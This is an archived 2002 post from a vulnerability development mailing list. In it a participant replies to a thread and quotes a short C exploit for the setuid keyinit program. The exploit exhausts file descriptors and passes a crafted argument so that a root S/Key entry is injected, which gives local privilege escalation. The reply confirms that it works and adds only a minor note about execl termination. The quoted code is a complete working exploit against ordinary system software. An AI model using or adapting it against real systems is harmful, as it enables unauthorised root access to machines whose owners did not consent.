Vulnerability Development mailing list archives
Re: cheers
From: Foldi Tamas <crow () kapu hu>
Date: Tue, 23 Apr 2002 08:49:18 +0200
On Mon, Apr 22, 2002 at 11:24:08PM -0700, KF wrote:
cheers Joost Pol */ #include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { while(dup(1) != -1); close(2); execl("/usr/bin/keyinit", "\nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n"); }
Yes, it works fine, but afaik execl(3) should be NULL terminated. regards, Crow
Current thread:
- cheers KF (Apr 22)
- Re: cheers Foldi Tamas (Apr 24)
- Re: cheers Onie Camara (Apr 24)
- Re: cheers Onie Camara (Apr 24)
- Re: cheers KF (Apr 24)
- Re: cheers Onie Camara (Apr 24)
- Re: cheers KF (Apr 24)
- Re: cheers KF (Apr 24)
- Re: cheers Edsel Adap (Apr 24)
- <Possible follow-ups>
- Re: cheers zeno (Apr 24)
- Re: cheers Onie Camara (Apr 25)
- RE: cheers Knud Erik Hojgaard (Apr 25)